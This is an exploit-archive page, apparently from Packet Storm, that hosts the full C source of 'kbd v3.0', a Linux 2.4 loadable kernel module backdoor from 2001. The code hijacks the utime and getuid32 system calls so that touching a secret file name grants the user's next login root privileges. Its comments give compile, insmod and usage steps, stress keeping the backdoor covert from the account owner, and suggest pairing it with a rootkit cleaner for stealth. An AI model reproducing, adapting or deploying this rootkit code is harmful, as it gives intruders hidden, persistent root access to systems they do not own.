exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

kbdv3.c

kbdv3.c
Posted Jul 19, 2001
Authored by Spaceork

Kbd v3.0 is a Linux loadable kernel module backdoor. Allows root access by modifying the SYS_utime and SYS_getuid32 system calls. Can be used in conjunction with cleaner.c from the adore root for stealth capability.

tags | tool, kernel, root, rootkit
systems | linux, unix
SHA-256 | 1e01acc4b6519e04281fd7a9cbecefe015e166620e9d670ffc0d78520451a2d7

kbdv3.c

Change Mirror Download
/* kbd - Linux loadable kernel module backdoor        */
/* 6.21.01 spaceork@dhp.com */
/* */
/* Version 3.0 (kbdv3.c) for Linux 2.4.X */
/* Tested on Linux 2.4.5 */
/* */
/* compile: host:~# gcc -c -O2 kbdv2.c */
/* */
/* add(as root): host:~# insmod kbdv2.o */
/* remove(as root): host:~# rmmod kbdv2.o */
/* */
/* Usage notes: */
/* kbd is a nice little backdoor that allows root access by */
/* modifing the SYS_utime and SYS_getuid32 system calls. */
/* Usage after insmod is fairly strait forward: */
/* 1. login as a normal user */
/* 2. host:~$ touch foobar */
/* 3. login again under the *same* username */
/* 4. the second login session will be given root privileges */
/* host:~# id */
/* uid=0(root) gid=0(root) groups=100(users) */
/* 5. Remember to repeat this procedure everytime you plan on */
/* using the backdoor. To keep this covert, the special uid */
/* resets after root is given out, this prevents the */
/* legitimate owner of the account from receiving a */
/* suspicious root shell when he/she logs in. */
/* */
/* Note: If you want stealth capability, I recommend using kbd */
/* in conjunction with cleaner.c from the adore rootkit */
/* by stealth (http://spider.scorpions.net/~stealth) */

#define MODULE
#define __KERNEL__

#include <syscall.h>
#include <asm/uaccess.h>
#include <linux/module.h>
#include <linux/modversions.h>
#include <linux/unistd.h>
#include <linux/utime.h>
#include <linux/version.h>
#include <linux/sched.h>
#include <linux/mm.h>

#define FILE_NAME "foobar" /* change to whatever you wish */

extern void *sys_call_table[];

/* system calls we will replace */
int (*orig_utime)(const char *filename, struct utimbuf *buf);
int (*orig_getuid32)();
int u;

int bd_utime(const char *filename, struct utimbuf *buf)
{
int tmp;
char *k_pathname;
char name[] = FILE_NAME;

/* copy to kernel space */
k_pathname = (char*) kmalloc(256, GFP_KERNEL);

copy_from_user(k_pathname, filename, 255);

/* Is the pathname our secret one? If so make the current uid special. */
if (strstr(k_pathname, (char*)&name) != NULL)
u = current->uid;

tmp = (*orig_utime)(filename, buf);
return tmp;
}

int bd_getuid32()
{
int tmpp;

/* Give root to the special uid, then reset the value of u. */
if (current->uid == u)
{
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
u = 55555; /* change if this bothers you */
return 0;
}

tmpp = (*orig_getuid32) ();
return tmpp;
}


int init_module(void) /* setup the module */
{
orig_utime = sys_call_table[SYS_utime];
orig_getuid32 = sys_call_table[SYS_getuid32];

sys_call_table[SYS_utime] = bd_utime;
sys_call_table[SYS_getuid32] = bd_getuid32;

return 0;
}

void cleanup_module(void) /* shutdown the module */
{
sys_call_table[SYS_utime] = orig_utime;
sys_call_table[SYS_getuid32] = orig_getuid32;
}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close